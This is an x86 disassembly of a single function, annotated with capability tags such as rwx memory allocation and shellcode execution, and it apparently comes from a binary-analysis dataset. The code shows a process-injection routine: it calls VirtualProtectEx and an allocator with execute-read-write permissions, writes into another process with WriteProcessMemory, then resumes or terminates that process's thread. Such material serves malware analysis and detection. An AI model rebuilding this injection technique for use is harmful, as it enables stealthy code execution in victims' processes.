Function at 0x49f28d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x534
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 0x38]
push edi
xor eax, eax
cmp esi, ebx
mov ecx, 0x132
lea edi, [esp + 0x78]
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x60], ebx
lea edi, [esp + 0x64]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
stosd dword es:[edi], eax
jne 0x49f2d1
lea esi, [esp + 0x60]
mov dl, byte [0x4e1845]
cmp dl, 4
jne 0x49f2ee
mov eax, dword [ebp + 0xc]
add eax, 0x34
mov dword [esp + 0x34], eax
mov eax, dword [eax]
mov dword [esp + 0x3c], ebx
jmp 0x49f301
mov ecx, dword [ebp + 0xc]
add ecx, 0x30
mov eax, dword [ecx]
mov dword [esp + 0x34], ecx
mov ecx, dword [ecx + 4]
mov dword [esp + 0x3c], ecx
mov ecx, dword [ebp + 0xc]
mov edi, dword [ecx + 0x28]
mov dword [esp + 0x28], eax
movzx eax, byte [0x4e184e]
lea eax, [esp + eax + 0x70]
mov dword [esp + 0x2c], ebx
movzx ebx, byte [0x4e184f]
mov dword [esp + 0x58], eax
xor ecx, ecx
mov eax, edi
add eax, dword [esp + 0x28]
lea ebx, [esp + ebx + 0x70]
adc ecx, dword [esp + 0x2c]
cmp dl, 4
mov dword [esp + 0x54], ebx
mov dword [ebx], eax
je 0x49f343
mov dword [ebx + 4], ecx
mov ebx, dword [ebp + 0x3c]
mov ax, word [ebx]
cmp ax, 0x3e
jne 0x49f351
inc ebx
inc ebx
cmp byte [0x4e1845], 8
jne 0x49f38b
cmp ax, 0x3e
jne 0x49f38b
cmp word [ebx], 0
je 0x49f38b
push 0x14000
lea ecx, [esp + 0x28]
call fcn.004465ac
push dword [esp + 0x24]
push edi
push ebx
call fcn.0049f07c
add esp, 0xc
lea ecx, [esp + 0x24]
call fcn.0043fe25
push ebx
push esi
push dword [ebp + 0x34]
lea eax, [esp + 0x54]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x98]
push eax
push dword [ebp + 8]
call fcn.0049f19d
add esp, 0x30
cmp byte [0x4e1845], 4
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x34]
jne 0x49f3da
mov eax, dword [eax]
and dword [esp + 0x3c], 0
mov dword [esp + 0x38], eax
jmp 0x49f3e7
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x28]
xor eax, eax
cmp dword [esi], 0xffffffff
mov dword [esp + 0x24], ebx
jne 0x49f3fa
mov dword [esi], eax
cmp dword [esi + 4], 0xffffffff
jne 0x49f403
mov dword [esi + 4], eax
cmp dword [esp + 0x44], eax
jle 0x49f6b9
mov dl, byte [0x4e1845]
cmp dl, 4
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x5c], eax
jne 0x49f46d
cmp dword [esp + 0x38], ecx
jne 0x49f46d
mov edi, dword [esp + 0x3c]
cmp edi, dword [esp + 0x2c]
jne 0x49f46d
mov edi, dword [esp + 0x4c]
cmp edi, eax
jb 0x49f46d
mov eax, dword [esp + 0x48]
ja 0x49f44b
cmp eax, dword [ebp + 0x1c]
jb 0x49f46d
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x1c], edx
lea edx, [esp + 0x5c]
push edx
push 0x40
push eax
push ecx
push dword [esi]
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x49f585
cmp dword [0x4e3dec], 0
je 0x49f691
cmp dl, 4
mov edi, 0x3000
jne 0x49f4c4
push dword [esp + 0x2c]
push ecx
push dword [esi]
call fcn.0049f03a
add esp, 0xc
test eax, eax
je 0x49f4b2
push 0x40
push edi
push dword [ebp + 0x1c]
push dword [esp + 0x44]
push dword [esi]
call dword [0x4e3dec]
cdq
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
mov eax, dword [esp + 0x18]
or eax, dword [esp + 0x1c]
jne 0x49f593
mov ecx, dword [esp + 0x28]
push dword [ebp + 0xc]
call fcn.0049ef49
add esp, 4
test eax, eax
je 0x49f691
cmp byte [0x4e1845], 4
jne 0x49f4f3
push 0x40
push edi
push dword [ebp + 0x1c]
push 0
push dword [esi]
call dword [0x4e3dec]
cdq
jmp 0x49f560
push dword [esp + 0x2c]
push ecx
push dword [esi]
call fcn.0049f03a
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x38]
sub eax, ecx
add eax, dword [esp + 0xfc]
add esp, 0xc
add eax, 0xfffff
xor ebx, ebx
and dword [esp + 0x4c], ebx
and eax, 0xfff00000
sub ecx, eax
sbb edx, dword [esp + 0x4c]
push 0x40
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0x1c]
push edi
lea eax, [edx + eax*2]
push eax
push ecx
push dword [esi]
mov dword [esp + 0x2c], ecx
call dword [0x4e3dec]
mov eax, dword [esp + 0xf0]
sub eax, dword [esp + 0x24]
mov edx, dword [esp + 0xf4]
sbb edx, ebx
mov ebx, dword [esp + 0x24]
mov ecx, eax
or ecx, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
je 0x49f691
push edx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.0049ef81
add esp, 0x14
mov eax, dword [esp + 0x18]
or eax, dword [esp + 0x1c]
je 0x49f691
and dword [esp + 0x24], 0
cmp byte [0x4e1845], 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jne 0x49f5d5
mov eax, dword [esp + 0x58]
mov eax, dword [eax]
and dword [esp + 0x4c], 0
lea ecx, [esp + 0x24]
push ecx
push 4
lea ecx, [esp + 0x20]
push ecx
add eax, 8
push eax
push dword [esi]
call edi
cmp byte [0x4e1845], 4
jne 0x49f5d5
mov eax, dword [esp + 0x34]
jmp 0x49f5e0
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x1c]
mov dword [eax + 4], edx
mov ecx, dword [esp + 0x18]
mov dword [eax], ecx
lea eax, [esp + 0x24]
push eax
push dword [ebp + 0x1c]
push dword [ebp + 0x14]
push ecx
push dword [esi]
call edi
test eax, eax
je 0x49f68a
mov cl, byte [0x4e1845]
cmp cl, 4
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
jne 0x49f62f
cmp edi, dword [esp + 0x28]
jne 0x49f62f
cmp edx, dword [esp + 0x2c]
jne 0x49f62f
xor eax, eax
add ebx, dword [esp + 0x38]
adc eax, dword [esp + 0x3c]
mov edx, ebx
mov dword [esp + 0x4c], eax
jmp 0x49f63c
xor eax, eax
add ebx, edi
adc eax, edx
cmp cl, 4
mov edx, ebx
jne 0x49f644
mov eax, dword [esp + 0x54]
mov dword [eax], edx
jmp 0x49f64d
mov ecx, dword [esp + 0x54]
mov dword [ecx], edx
mov dword [ecx + 4], eax
cmp byte [0x4e1845], 4
jne 0x49f664
lea eax, [esp + 0x70]
push eax
push dword [esi + 4]
call dword [0x4e3de8]
test byte [ebp + 0x24], 4
jne 0x49f673
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [ebp + 0x38], 0
jne 0x49f6b9
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi]
call edi
jmp 0x49f6b9
or dword [esp + 0x44], 0xffffffff
jmp 0x49f699
mov dword [esp + 0x44], 0xfffffffe
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
and dword [esi + 4], 0
push dword [esi]
call edi
and dword [esi], 0
mov eax, dword [esp + 0x44]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret